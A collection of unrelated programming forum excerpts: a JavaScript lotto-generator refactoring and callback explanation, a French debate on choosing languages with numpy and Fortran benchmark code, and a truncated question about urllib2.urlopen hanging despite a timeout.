if (counter > 0) {
return false;
}
So let's move the remaining code to its own function called setupNextRoll()
function setupNextRoll(totalRolls, rollDelay, callback) {
counter += 1;
if (counter <= totalRolls) {
setTimeout(callback, rollDelay);
} else {
counter = 0;
}
}
...
setupNextRoll(opts.totalRolls, opts.rollDelay, roll);
I'm passing the roll function at the end, because if we didn't do that then we would need the setupNextRoll function to refer to the roll function that is below it, which in turn refers to the function above it. Linting software complains about calls that go upwards, and the callback is a highly effective method to convey what is happening, so it solves a number of related issues.
That should do us for this part of things in the roll function. It's now looking nice and expressive, where validate before drawing, sorting, and showing the numbers, thengo to the next roll.
function roll() {
if (!validateChoices(pick, from, to)) {
return false;
}
var draw = drawNumbers(pick, from, to);
draw.sort(numericSort);
resultDiv.innerHTML = draw.join(' ');
setupNextRoll(opts.totalRolls, opts.rollDelay, roll);
}
The resultDiv part could be moved out to a separate function so that we can more easily separate the action of rolling from the act of showing the content, but there are bigger fish to fry for now.
Now that the roll function has been simplified we can move the function parameters to the opts object, which will help us to keep our configuration information all in the same consistent location.
var lotto = function (options) {
var opts = {
buttonText: "Lotto Lucky Dip",
initialText: "Your Lucky Numbers",
pick: options.pick,
from: options.from,
to: options.to,
totalRolls: 50,
rollDelay: 50
},
...
if (!validateChoices(opts.pick, opts.from, opts.to)) {
...
var draw = drawNumbers(opts.pick, opts.from, opts.to);
...
var form = this;
lotto({
pick: Number(form.elements.pick.value) || 0,
from: Number(form.elements.from.value) || 0,
to: Number(form.elements.to.value) || 0
});
What we end up with is shown at http://jsfiddle.net/pmw57/8R42e/18/
We are nearly ready now to init the lotto object using custom parameters, which will be delved in to about tomorrow.
pullo — 2013-04-29T09:04:32-04:00 — #19
Wow! Good stuff!
That is really well explained and easy to follow.
I have a couple of questions:
In your opinion, at what point does it become feasible to start monkey patching objects, as opposed to rolling your own (admittedly more limited) solution
I didn't quite get why you need to pass roll as a callback to setupNextRoll.
Look forward to the next instalment.
paul_wilkins — 2013-04-29T16:30:04-04:00 — #20
That can be something that different people disagree with, for myself, I am hesitant to fiddle with any pre-existing objects. In this case with Array.indexOf, it's a method that is built in to many web browsers and the behavior is well defined, so I am happy to help bring less capable web browsers along for the ride. Such As IE.
It's something that you have to be careful of though. The Prototype library monkey-patched getElementsByClassName which ended up causing all sorts of grief when web browsers eventually decided to do things slightly different.
A good explanation of what happened ther can be found in John Resig's getElementsByClassName pre-prototype 1.6 article.
The main thing that I was worrying about there was in terms of the linter that I use to help keep the code clean and tidy. JSLint can be a harsh mistress at times, but it helps to ensure that your code has a minimum of problematic issues. One of those is in regard to placing calls to functions further down that may not exist yet. This can be a complex issue, but here's a basic rundown of the situation.
You may have some code, that goes:
function foo() {
bar(); // this works
}
foo();
function bar() {
...
}
The problem comes when someone changes the second function to a function expression, for which there may be several reasons to do so.
function foo() {
bar(); // doesn't work
}
foo();
var bar = function () {
...
}
That doesn't work because the second function doesn't exist until it is actually defined. So, placing calls to lower areas of code can be problematic. So coders help to prevent that problem by placing calls to code that is above them.
So what happens when you have two functions that call each other?
function foo() {
setTimeout(bar);
}
function bar() {
alert('called');
if (Math.random() > 0.3) {
foo();
}
}
bar();
The first function is placing a call to the second one, which can cause problems due to what we saw above.
If you are going to live by rule that you don't call functions below you, something has to occur to stop the first function from calling further down. We can achieve that by passing it in to the first function as a callback, which also makes the function more flexible in how it behaves too.
function foo(callback) {
setTimeout(callback);
}
function bar() {
alert('called');
if (Math.random() > 0.3) {
foo(bar);
}
}
bar();
next page → |
inconnu
Re : Petit guide pour aider au choix d'un langage
Encore une fois merci pour toutes ces références (j'ai déjà trois bouquins de 300 pages à m'infuser ). Bon c'est quand même passionnant, dès fois un peu complexe, mais je suis globalement assez surpris de la qualité. Pour tout dire, je ne pensais pas qu'il existait des ouvrages en Français, aussi complet et accessible au débutant. Par exemple sur l'architecture de l'ordinateur.
Je voulais vous demander, à tout hasard hein, si vous connaissiez une référence d'un bouquin ou d'un site, sur l'assembleur ? Ou peut être que le bouquin sur l'architecture de l'ordinateur va aborder ce langage de manière suffisante (j'en suis aux microinstructions ) ?
Le Farfadet Spatial
Re : Petit guide pour aider au choix d'un langage
Salut à tous !
Je voulais vous demander, à tout hasard hein, si vous connaissiez une référence d'un bouquin ou d'un site, sur l'assembleur ? Ou peut être que le bouquin sur l'architecture de l'ordinateur va aborder ce langage de manière suffisante (j'en suis aux microinstructions ) ?
Bon, d'abord, ce n'est pas une question pour les débutants, donc je ne vais pas l'ajouter à la présentation.
Sinon, pour répondre à ta question, cela dépend fondamentalement de l'architecture à laquelle tu t'intéresses. Tu sais déjà programmer, donc tu as surtout besoin des jeux d'instructions et de savoir comment fonctionne le matériel. En conséquence, je te conseille de regarder les documentations des constructeurs et, en effet, des ouvrages génériques sur les architectures (par exemple ce qu'il y a dans la présentation du début de ce fil de discussion). De mon temps, il y avait La Bible PC de Michäel TISCHER, mais je crois que ce livre n'est plus édité. Tu peux déjà jeter un œil vers :
Assembleur x86
Kip R. IRVINE
Campus Press
Cela dit, ce livre est vraiment orienté DOS (et architecture x86).
Si tu n'as pas de problème avec l'anglais, tu peux aller voir ce site :
Il y a de quoi faire.
Juste une dernière chose : au vu des architectures actuelles et des capacités qui sont celles des compilateurs désormais, l'assembleur n'est plus le moyen de faire les programmes les plus rapides. De plus, l'assembleur n'est pas, par définition, portable. En revanche, cela reste toujours le moyen d'accéder finement au matériel. Je te conseille donc de ne pas chercher à faire des programmes entiers en assembleur, mais de t'habituer à coder en assembleur les parties spécifiques où tu as besoin de cet accès.
Voilà, j'espère que cela aide.
À bientôt.
Le Farfadet Spatial
L'antre du farfadet :
http://le.farfadet.spatial.free.fr/
Textes, musiques et peintures
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
tiens j'étais passé à coté de ça, je traîne pas assez sur le forum (enfin pas assez partout).
C'est sympa comme idée, et ça peut en effet aider un débutant, mais je suis un peu déçus par certaines mise en avant ou en retrait, tu fais le choix de donner ton avis sur les langage, ce qui ouvre donc à la critique de ces avis .
Personnelement je pense que conseiller le PHP comme "excellent choix" sans préciser plus est dangereux, car s'il a l'avantage de la simplicité du déploiement (apache mod_php présent partout), c'est loin d'être un bon langage, il est bourré de problèmes syntaxiques et encourage les mauvaises pratiques, l'avis est je pense à nuancer sérieusement.
Python (bon, je suis fan, "full disclosur") par contre est clairement mis en retrait, alors que c'est un langage d'une grande clarté, complètement objet, très fonctionnel (et très doué pour d'autre paradigmes), très indiqué pour le débutant, mais en effet, le swinnen n'est pas une bonne référence, les bouquins de tarek sont mieux. Bref, à mon sens, parmis les premiers langage a soumettre à un débutant, du fait de sa simplicité, la richesse de sa std, la clarté de sa syntax, le dynamisme de sa comunauté, et j'en passe.
Le c++, bon, comme beaucoup de gens t'es fan, et tu l'indique en gros, comme la solution à tous les problèmes… tu nuances quand même: ce n'est pas un langage pour débutant (ouf), il faut quand même être clair, s'il peut servir de solution à pratiquement tous les développement possible (mais quel langage moderne ne peut pas y prétendre?) il est clairement peu clair, trop complexe, personne ne le maitrise à fond, toute entreprise s'en servant sérieusement en interne, pose des règles très strictes à son utilisation, pour que tout le monde s'en serve pareil (sinon personne ne parle le même c++) (voir par exemple les règles de codage pour le c++ chez google ). Et s'il était si parfait, le java (qui le le porte a un niveau supérieur) n'aurait pas eu un tel succès, mais le java a ses propres problèmes.
Bref, je pense pas mal de mal de c++ (et ceci m'a aidé à savoir pourquoi).
Mais je le répète, excellente initiative.
Hors ligne
Le Farfadet Spatial
Re : Petit guide pour aider au choix d'un langage
Salut à tous !
tu fais le choix de donner ton avis sur les langage
Ce n'est pas un choix, il est tout simplement impossible de faire autrement : ce n'est pas la peine de se le cacher, à partir du moment où quelqu'un donne un conseil pour le choix d'un langage, il donne son avis. Cela dit, j'ai essayé d'être aussi objectif que possible, d'une part. D'autre part, il est clairement indiqué dès le départ qu'il y a nécessairement une part de subjectivité dans la présentation. D'ailleurs, ton intervention, je ne t'en fais pas le reproche, est très fortement marquée par ta propre subjectivité.
Personnelement je pense que conseiller le PHP comme "excellent choix"
Ce n'est pas ce qui est écrit :
Pour le web, PHP (en général couplé à MySQL) est un très bon choix.
Je ne vois pas en quoi c'est faux. Même si, oui, Python est un langage plus sérieux.
sans préciser plus est dangereux, car s'il a l'avantage de la simplicité du déploiement (apache mod_php présent partout), c'est loin d'être un bon langage, il est bourré de problèmes syntaxiques et encourage les mauvaises pratiques, l'avis est je pense à nuancer sérieusement.
Je reconnais bien là le Python-maniaque ! Cela dit, d'accord : que penses-tu qu'il faudrait indiquer ?
Python (bon, je suis fan, "full disclosur") par contre est clairement mis en retrait
Il n'est certainement pas mis en retrait. Je ne vois pas ce qui te permet de dire cela. Par contre, je trouve que les Python-maniaques ont tendance à vouloir absolument que l'on dise que Python est le meilleur langage du monde. Python a des qualités, mais il n'existe pas de langage parfait pour tout, Python pas plus que les autres.
Le c++, bon, comme beaucoup de gens t'es fan
Là encore, je ne sais pas ce qui te permet de dire ça. En tout cas, ce n'est certainement pas vrai. S'il se trouve que c'est le langage que j'utilise le plus souvent, c'est en raison d'un choix pragmatique, certainement pas parce que je pense que c'est le meilleur langage du monde, ni mon préféré, ni celui que je vais utiliser dans toutes les situations.
et tu l'indique en gros, comme la solution à tous les problèmes…
J'indique clairement qu'il est difficile, mal enseigné et qu'il n'est pas adapté pour débuter : en quoi cela sous-entend que ce serait la solution à tous les problèmes ?
Et s'il était si parfait, le java (qui le le porte a un niveau supérieur) n'aurait pas eu un tel succès, mais le java a ses propres problèmes.
Encore une fois, je n'ai jamais pensé ni affirmé que C++ est parfait. Ensuite, Java et C++ ne sont pas concurrents, leurs domaines d'applications ne sont absolument pas les mêmes. Java n'est pas le niveau supérieur de C++. Les concurrents, à l'heure actuelle, de C++ sont C et Fortran, les concurrents de Java sont C# et Objective-C.
Bon, tu adores Python et déteste C++. Il n'empêche que C++ a de vrais qualités et que Python ne peut servir à tout. Lorsque l'on montre les indéniables qualités de C++, cela ne veut pas dire qu'on dit qu'il est la solution pour tout. À l'inverse, si on ne dit pas que Python est le seul langage à considérer, cela ne veut pas dire qu'on le met en retrait.
À bientôt.
Le Farfadet Spatial
L'antre du farfadet :
http://le.farfadet.spatial.free.fr/
Textes, musiques et peintures
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
sans vouloir entrer dans une polémique stérile, les quelques points qui me font pensé que ton jugement de python, comme de C++, sont biaisés…
Dans à peu près le même domaine que Perl, mais avec peut-être une syntaxe plus claire : Python.
on lit ici que python sert grosso modo aux mêmes choses que perl (principalement des petits scripts systeme, un peu de web, mais perl est clairement en perte de vitesse de ce coté là) et que ça syntaxe est *peut être* plus claire que celle de l'un des languages considéré comme l'un des plus cryptiques existant… pour un langage généralement loué pour sa clarté c'est un peu fort… pour un langage de plus en plus adopté par les scientifiques en remplacement du fortran qu'ils trainent depuis 30ans, pour un langage énormément utilisé dans le web, dans les applis industrielles, dans le dev d'outil graphique, dans de plus en plus de jeux vidéos… c'est quand même un peu fort de le comparer aux mêmes utilisations que perl…
Enfin, un langage extrêmement versatile et généraliste,
là j'aurais pus m'attendre à ce que tu parle de python… mais non c'est bien le classique c++, le langage du futur d'il y a 20ans, qui n'a pas atteins ses objectifs de pdm malgré le fait qu'il s'appuie honteusement sur le succès du C sans en reprendre les principaux avantages, simplicité et cohérence, sans apporter un modèle objet complet… bref, sans le mériter…
edit: sur l'aspect plus constructif, je pense que faire un peu de mise en forme (séparation des langages en sections, avec titre en gras, lien vers le site du langage…) pourrais donner une meilleur visibilité en langages en bas de liste, qui sont un peu perdus dans le flou, pour qui n'a pas encore lus l'ensemble d'une traite.
Dernière modification par tshirtman (Le 14/03/2010, à 21:59)
Hors ligne
Le Farfadet Spatial
Re : Petit guide pour aider au choix d'un langage
Salut à tous !
on lit ici que python sert grosso modo aux mêmes choses que perl (principalement des petits scripts systeme, un peu de web, mais perl est clairement en perte de vitesse de ce coté là) et que ça syntaxe est *peut être* plus claire que celle de l'un des languages considéré comme l'un des plus cryptiques existant… pour un langage généralement loué pour sa clarté c'est un peu fort…
L'argument de lisibilité n'est pas facile à manipuler, raison pour laquelle j'ai mis le « peut-être ».
Aujourd'hui, il est indéniable que Python, Perl et Ruby ont des domaines d'applications semblables et, pour l'instant, aucun n'a vraiment pris le pas sur les autres, en dépit de l'effet de loupe de Ubuntu. Même si, personnellement, je suis plus intéressé par Python, je pense qu'aujourd'hui, dans une présentation, on ne peut pas passer l'un des trois sous silence et il reste encore pertinent de les comparer les uns aux autres.
pour un langage de plus en plus adopté par les scientifiques en remplacement du fortran qu'ils trainent depuis 30ans
Python ne vient pas en remplacement de Fortran pour les scientifiques. Il vient plutôt en remplacement de Matlab ou de R. De plus, il reste inadéquat pour pas mal de cas : par exemple, il est inapproprié au calcul numérique intensif.
pour un langage énormément utilisé dans le web, dans les applis industrielles, dans le dev d'outil graphique, dans de plus en plus de jeux vidéos… c'est quand même un peu fort de le comparer aux mêmes utilisations que perl…
Hé bien Perl est utilisé dans le web, dans des applications industrielles, dans le développement d'outils graphiques, dans des jeux vidéos... Chez pas mal de scientifique également. Du coup, il est parfaitement pertinent de les comparer dans ce cadre.
Enfin, un langage extrêmement versatile et généraliste,
là j'aurais pus m'attendre à ce que tu parle de python… mais non c'est bien le classique c++
Hé bien, il est incontestable que C++ est extrêmement versatile, à tel point que son créateur l'a vu utilisé dans des domaines qu'il n'envisageait pas (voir Le Langage C++ de Bjarne STROUSTRUP).
Je suis désolé, mais, pas plus que C++, je n'ai pas que Python dans la tête.
le langage du futur d'il y a 20ans, qui n'a pas atteinds ses objectifs de pdm malgrès le fait qu'il s'appuis honteusement sur le succès du C sans en reprendre les principaux avantages, simplicité et cohérence, sans apporter un modele objet complet… bref, sans le mériter…
Donc, c'est moi qui ait un point de vue partial et biaisé...
Déjà, je ne sais pas où tu as trouvé le moindre objectif de parts de marché pour C++, qui est à l'origine un projet marginal, dont le succès a surpris (voir The Design and Evolution of C++ de Bjarne STROUSTRUP). On est très loin des ambitions de CPL à son époque ou de D plus récemment.
Ensuite, ce n'est pas honteux de s'appuyer sur le passé, au contraire, c'est une bonne chose, c'est même une pratique nécessaire.
Enfin, le modèle objet était balbutiant aux début de C++ et c'est notamment l'expérience acquise avec ce langage qui a permis de le faire évoluer et à devenir mature.
Inutile d'essayer : je ne dirais pas que Python est le meilleur langage du monde parfait pour tout, ni non plus que C++ est lamentable. Ni l'une ni l'autre de ces affirmations n'est vraie, ceci d'un point de vue parfaitement objectif.
Par contre, si tu me donnais les précautions que tu voudrais que je donne concernant PHP, je serais intéressé.
À bientôt.
Le Farfadet Spatial
L'antre du farfadet :
http://le.farfadet.spatial.free.fr/
Textes, musiques et peintures
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
Le nom C++ n'a pas été choisit au hasard, j'ai pas lus le bouquin (de référence) de Bjarn en entier (j'avoue que son style, de même que la syntaxe de son langage m'a assommé), mais j'ai bien lus le début, le but est bien de dire "c'est comme le C, mais avec des classes, mais en moins bricolage que 'C with classes'" C, à l'époque était le roi du monde… mais bon oui, on va dire que c'était un petit projet (comme C en 1968-9, c'est marrant). Quand je parle de s'appuyer sur le succès je ne parle pas de technique (même si le C++ à fait des erreurs du fait de vouloir rester compatible avec C) mais de marketing, le succès en entreprise du C++ (même partiel) est largement du au fait qu'il soit "presque C, mais avec des trucs en plus, donc ça peut servir" dans la tête de beaucoup de gens (tu constate toi même qu'il est très mal enseigné la plupart du temps) et donc profite d'un aura qu'il ne mérite pas.
Pour le python dans les calculs numériques, numpy ne doit pas t'être étranger, c'est puissant… certes il faut être capable d'exprimer tes problèmes de façons matricielles, mais c'est vraiment rapide… Certes on peut aller plus vite, notamment en C, mais autant coder un module C spécialisé dans les calculs qu'on a a faire (si numpy ne convient pas), et faire tout le code autour en python.
Pour PHP, j'aurais tendance à dire "un langage extrêmement répandus pour le WEB, facile à apprendre, mais souffrant d'un syntaxe assez peu cohérente, et de failles de sécurité récurrentes si employés sans une extrême rigueur", ou un truc du genre… disons qu'un langage conçus pour faire compteur de pages de CV à la base… ben ça donne ça…
Hors ligne
Le Farfadet Spatial
Re : Petit guide pour aider au choix d'un langage
Salut à tous !
Quand je parle de s'appuyer sur le succès je ne parle pas de technique (même si le C++ à fait des erreurs du fait de vouloir rester compatible avec C) mais de marketing
C++ n'appartient à personne, comment parler de marketing ?
Pour le python dans les calculs numériques, numpy ne doit pas t'être étranger, c'est puissant… certes il faut être capable d'exprimer tes problèmes de façons matricielles, mais c'est vraiment rapide… Certes on peut aller plus vite, notamment en C, mais autant coder un module C spécialisé dans les calculs qu'on a a faire (si numpy ne convient pas), et faire tout le code autour en python.
Bof.
Non, vraiment, il faut se rendre compte qu'absolument tous les langages, Python inclus, ont leurs limites et leurs domaines d'application. En dépit de la qualité de Numpy, Python n'est pas du tout adapté au calcul numérique à haute performance. Il n'a de toute façon pas été conçu pour cela et ce n'est pas l'objectif de Numpy -- il s'agit plutôt d'un moyen de le rendre très concurrentiel par rapport à Matlab.
Pour PHP, j'aurais tendance à dire "un langage extrêmement répandus pour le WEB, facile à apprendre, mais souffrant d'un syntaxe assez peu cohérente, et de failles de sécurité récurrentes si employés sans une extrême rigueur", ou un truc du genre… disons qu'un langage conçus pour faire compteur de pages de CV à la base… ben ça donne ça…
À la base, PHP est une collection de scripts qui ont été développés pour un site personnel. Il a rencontré un vrai succès parce qu'il a été le bon langage au bon moment. Finalement, c'est la même histoire que C et C++.
Alors, oui, il est permissif et il faut faire attention à la façon dont on code avec. Cela dit, c'est plus un problème de faire attention aux références que l'on donne à son sujet. Pour moi, cela n'empêche qu'il demeure une bonne porte d'entrée à la programmation. Veux-tu dire que tu le déconseillerais à un débutant ? Mais alors, pour quelqu'un qui veut faire du web dynamique et seulement du web dynamique, que lui conseiller ? Sachant que c'est tout de même moins immédiat avec Python, qui n'est d'ailleurs pas proposé par tous les hébergeurs.
Bon, je suis désolé, mais je ne vois pas ce que je peux faire de tout cela.
À bientôt.
Le Farfadet Spatial
L'antre du farfadet :
http://le.farfadet.spatial.free.fr/
Textes, musiques et peintures
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
Bah, tu en fais ce que tu veux, j'ai dis ce que j'avais à dire ^^.
Non, vraiment, il faut se rendre compte qu'absolument tous les langages, Python inclus, ont leurs limites et leurs domaines d'application
c'est vachement dogmatique, et ça me fait penser que tu cherche un domaine ou python ne serait pas le roi juste par ce que pour toi ce n'est pas possible de se dire "general purpose" et de tenir le paris…
Sinon, juste sur la forme
edit: sur l'aspect plus constructif, je pense que faire un peu de mise en forme (séparation des langages en sections, avec titre en gras, lien vers le site du langage…) pourrais donner une meilleur visibilité en langages en bas de liste, qui sont un peu perdus dans le flou, pour qui n'a pas encore lus l'ensemble d'une traite.
c'est moins une affaire de gout personnels que de clarté, je pense pas que ce soit trop controversé comme opinion.
a++
Hors ligne
Le Farfadet Spatial
Re : Petit guide pour aider au choix d'un langage
Salut à tous !
Non, vraiment, il faut se rendre compte qu'absolument tous les langages, Python inclus, ont leurs limites et leurs domaines d'application
c'est vachement dogmatique, et ça me fait penser que tu cherche un domaine ou python ne serait pas le roi juste par ce que pour toi ce n'est pas possible de se dire "general purpose" et de tenir le paris…
Ça-y-est, je vais me faire taxer de dogmatisme...
Depuis les années 60, on a vu plein de langage dont l'ambition affichée était de devenir le langage parfait pour tout. Il y a eu PL/I ou CPL, par exemple. Tous ont été des échecs retentissant : non seulement ils n'ont jamais réussi à s'imposer, mais en plus, ils n'ont jamais fait disparaître les langages qu'ils entendaient supplanter, à savoir principalement Fortran et Cobol. Ces expériences répétées me font, mais pas seulement moi, considérer avec beaucoup de circonspection toutes les tentatives qui prétendent réaliser un tel objectif. D'autant que différents domaines d'applications peuvent avoir des besoins contradictoires en matière de langage de programmation.
Toujours est-il qu'aujourd'hui il n'existe pas de langage parfait pour tout. Ce n'a d'ailleurs jamais été l'objectif de Python. Il n'est notamment pas approprié au calcul numérique intensif, comme déjà dit ici, même s'il est pertinent de l'utiliser dans les traitements périphériques. Python n'est pas adapté à la programmation système. Python n'est pas non plus nécessairement le meilleur choix dans de l'embarqué -- non, dans ce cas, je ne crois pas que C++ ni même C soit un bon choix. Et ainsi de suite, j'arrête l'inventaire à la Prévert.
Vraiment, il est important, si l'on apprécie un langage et que l'on veut vraiment le servir, de bien se rendre compte qu'il a un certain domaine d'application et de bien cerner ce domaine. Parce que, lorsque quelqu'un a un problème particulier, lui dire sans chercher à analyser le problème « utilise Python, c'est parfait pour tout », c'est non seulement dogmatique, mais en plus un bon moyen de le dégouter du langage lorsque, sans faire attention, on lui a conseillé ce langage alors qu'il n'est justement pas approprié au problème.
je pense que faire un peu de mise en forme (séparation des langages en sections, avec titre en gras, lien vers le site du langage…) pourrais donner une meilleur visibilité en langages en bas de liste, qui sont un peu perdus dans le flou, pour qui n'a pas encore lus l'ensemble d'une traite.
Ça, en revanche, c'est une remarque que je vais prendre en compte.
À bientôt.
Le Farfadet Spatial
L'antre du farfadet :
http://le.farfadet.spatial.free.fr/
Textes, musiques et peintures
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
Bonjour,
Cela m'intéresserai pas mal si un fan de python pour le calcul scientifique pouvait faire un petit code de benchmark pour que l'on puisse comparer avec le c++ ou le fortran.
tshirtman, tu te sentirais capable de faire un code python réalisant, par exemple,
- le remplissage d'une matrice carrée M de taille n avec des nombres aléatoires
- le produit matriciel MxM
- L'affichage du temps de calcul ?
Hors ligne
Le Farfadet Spatial
Re : Petit guide pour aider au choix d'un langage
Salut à tous !
- L'affichage du temps de calcul ?
Faire du benchmark est intéressant, c'est certain. Cela dit, il vaut mieux éviter de faire afficher le temps de calcul par le code lui-même et avoir recours à la fonction « time ». Le reste du code n'est pas difficile à faire. Par contre, il faut prendre une taille de matrice conséquente pour pouvoir dire quelque chose.
Également, cela ne serait qu'une étape, il faudrait songer à une application un peu plus réaliste.
En tout cas, ça m'intéresse aussi. Une simple multiplication matricielle doit ressembler à ça (je laisse à un Python-manique le soin de sortir un meilleur code) :
import numpy
A = numpy.random.rand(100000,100000)
B = numpy.random.rand(100000,100000)
C = A * B
print C
Je n'ai pas testé.
À bientôt.
Le Farfadet Spatial
L'antre du farfadet :
http://le.farfadet.spatial.free.fr/
Textes, musiques et peintures
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
Ton code à l'air de marcher. Je vais faire quelques tests. Juste une question, les matrices de numpy sont des simples ou double précision ?
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
Ce qui est bien en python c'est que quand on a un code simple et clair, c'est el général le code optimal pour la tache... le tiens me parait tout à fait correct, j'ai juste enlevé le print, qui élimine tout intéret au bench, vu la lenteur des IO en général, et des terminaux en particulier.
Tu t'es posé la question de la taille mémoire nécessaire pour ce code? ^^ 100000*100000 int ça fait 10 000 000 000 de fois 32bits, j'ai peur de manquer de ram là (en fait il me laisse pas faire, ça doit être pour ça ^^) t'as une lib en C++ qui te fais ça? J'ai divisé par 100 (un 0 de chaque coté) et c'est encore un peu long (sur mon eeepc), mais ça passe. Si quelqu'un veux bien me donner un code C++ équivalent, que je bench… savoir si c'est des facteurs ou des magnitudes la différence de perf… si c'est des facteurs < 10 je vois vraiment pas pourquoi quiconque se donnerait le mal de faire ça en C++ ^^.
pour l'embarqué en effet python est un peu gros (problème de stdlib énorme) mais il y a des solutions comme Cython ou ShedSkin, qui compilent du Python en C/C++ relativement optimisé, tout python n'est pas implémenté mais c'est très correct…
je lance avec time et je te dis quand ça se termine.
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
Voila,
J'ai utilisé des matrices 1000 x 1000 pour que cela tienne en mémoire (Le farfadet doit avoir plus l'habitude des matrices creuses), et j'ai réalisé la multiplication 10 fois.
Le code python
import numpy
for i in range(10):
A = numpy.random.rand(1000,1000)
B = numpy.random.rand(1000,1000)
C = A * B
le résultat
time python matmul.py real 0m0.791suser 0m0.640ssys 0m0.148s
le code fortran
PROGRAM TEST
IMPLICIT NONE
DOUBLE PRECISION :: A(1000,1000),B(1000,1000),C(1000,1000)
INTEGER :: i
DO i=1,10
CALL random_number(A)
CALL random_number(B)
CALL dgemm('N','N', 1000, 1000, 1000, 1 , A , 1000 , B , 1000 , 1 , C , 1000)
END DO
END PROGRAM TEST
Le résultat
time ./matmul real 0m0.415suser 0m0.384ssys 0m0.016s
Ce code fortran a été compilé avec l'intel fortran et l'implémentation MKL de blas, ce qui fait peut être la différence...
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
avec des matrices de 10000*10000 c'est vachement plus long ^^ (sur eeepc901).
real 9m36.119suser 0m27.438ssys 0m23.717
edit: sur ma machine de boulot (E8200 @ 2.66GHz), c'est bien plus raisonnable:
real 0m8.727suser 0m6.848ssys 0m1.664s
j'installe fortran-compiler, j'ai jamais touché à ce langage ^^.
Dernière modification par tshirtman (Le 15/03/2010, à 11:47)
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
tshirtman, le petit exemple plus haut m'a séduit par la simplicité du langage. Et je me demande si je ne vais pas me prêter au même exercice que récemment avec le C++, c'est à dire écrire un petit code FEM en python, pour comparer les avantages et inconvénients (voir le post "de l'utilité de la POO en calcul scientifique").
Sur amazon, j'ai trouvé ce livre
"Python - Les Fondamentaux du langage - La Programmation pour les scientifiques. de Matthieu Brucher"
Le connais-tu ? Connais-tu une autre référence moderne ? Ce qui m'attire dans ce livre est qu'il semble spécifiquement orienté sur le calcul scientifique.
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
Content de voir que le langage te plaît . Non je ne le connais pas, et je n'ai pas spécialement lus de livres sur le sujet, mon utilisation de python est plus généraliste, j'ai lus beaucoup d'articles sur l'utilisation du python dans les sciences (biologie, physique…), mais je pourrais difficilement te recommander un livre (je suis plus "net" que bouquins pour apprendre).
ps: Pourrais tu m'indiquer la ligne exacte avec laquelle tu as compilé ton code fortran plus haut? que je compare le produit matriciel de 10000² sur ma machine? ^^
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
en fait j'utilise le compilateur INTEL FORTRAN et les librairies MKL d'intel.
J'ai un makefile que j'utilise pour tous mes programmes fortran
F= /opt/intel/FORTRAN/11.1/064/bin/ia32/ifort
I = /opt/intel/mkl/10.2.4.032/include/32
L = /opt/intel/mkl/10.2.4.032/lib/32
matmul : matmul.f90
$F -O4 -o matmul matmul.f90 -I$I -L$L -lmkl_blas95 -lmkl_lapack95 -lmkl_intel -lmkl_sequential -lmkl_solver -lmkl_lapack -lmkl_core -liomp5 -lguide -lpthread -lm
J'ai voulu compiler l'exemple avec gfortran et l'implémentation debian de blas, mais c'est extrêmement lent chez moi, je ne comprend pas pourquoi, voila ce que j'ai fait
gfortran -O4 -o matmul matmul.f90 -L/usr/lib -lblas
J'ai l'impression que gfortran n'aime pas les grosses matrices, ce qui serait le comble pour un compilateur destiné uniquement à du calcul numérique !
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
Les compilateurs INTEL pour C++ et fortran sont gratuits sur linux
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
ok, téléchargement en cours ^^ (quasi 700mo en tout, c'est du lourd, je sais pas comment on faisait du fortran en 1957, huhu).
Dernière modification par tshirtman (Le 15/03/2010, à 16:40)
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
et t'as essayé avec gfortran ?
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
ça compile, et ça s'exécute, mais c'est bien plus lent que python là…
real 4m45.748suser 4m44.974ssys 0m0.748s
là ou python mets moins d'une seconde (j'en suis resté au 1000x1000 là)
Dernière modification par tshirtman (Le 15/03/2010, à 17:01)
Hors ligne
no_spleen
Re : Petit guide pour aider au choix d'un langage
Ben oui, apparemment gfortran est très mauvais. Rien ne sert d'avoir un bon langage si l'on a pas un bon compilo !!!
Hors ligne
tshirtman
Re : Petit guide pour aider au choix d'un langage
on peut parler de pypy pour les perfs de python aussi
http://speed.pypy.org/overview/
pfff il faut libstdc++5 maintenant… ok, un problème de lib à l'exécution maintenant, c'est vachement fun a installer ce truc ^^
Dernière modification par tshirtman (Le 15/03/2010, à 17:31)
Hors ligne |
The function urllib2.urlopen freezes. So my question is simple:
Why does urlopenfreeze my script for ever even though timeout is set?
How can I access data at an URL (in this case: http://api.own3d.tv/live?channel=FnaticTV) without the possibility of my Python process freezing up for all eternity?
This is the part where is freezes (In own3d.py):
# Try three times to make contact
while True:
try:
# Connect to API
# Right here! It freezes here
connection = urllib2.urlopen(request, timeout=10)
xmlstring = connection.read()
except URLError as e:
tries += 1
if tries >= 3:
sys.stderr.write(
'own3dStreamsUpdater: Fatal error: Repeated timeouts')
exit()
This is the stack trace after my KeyboardInterrupt
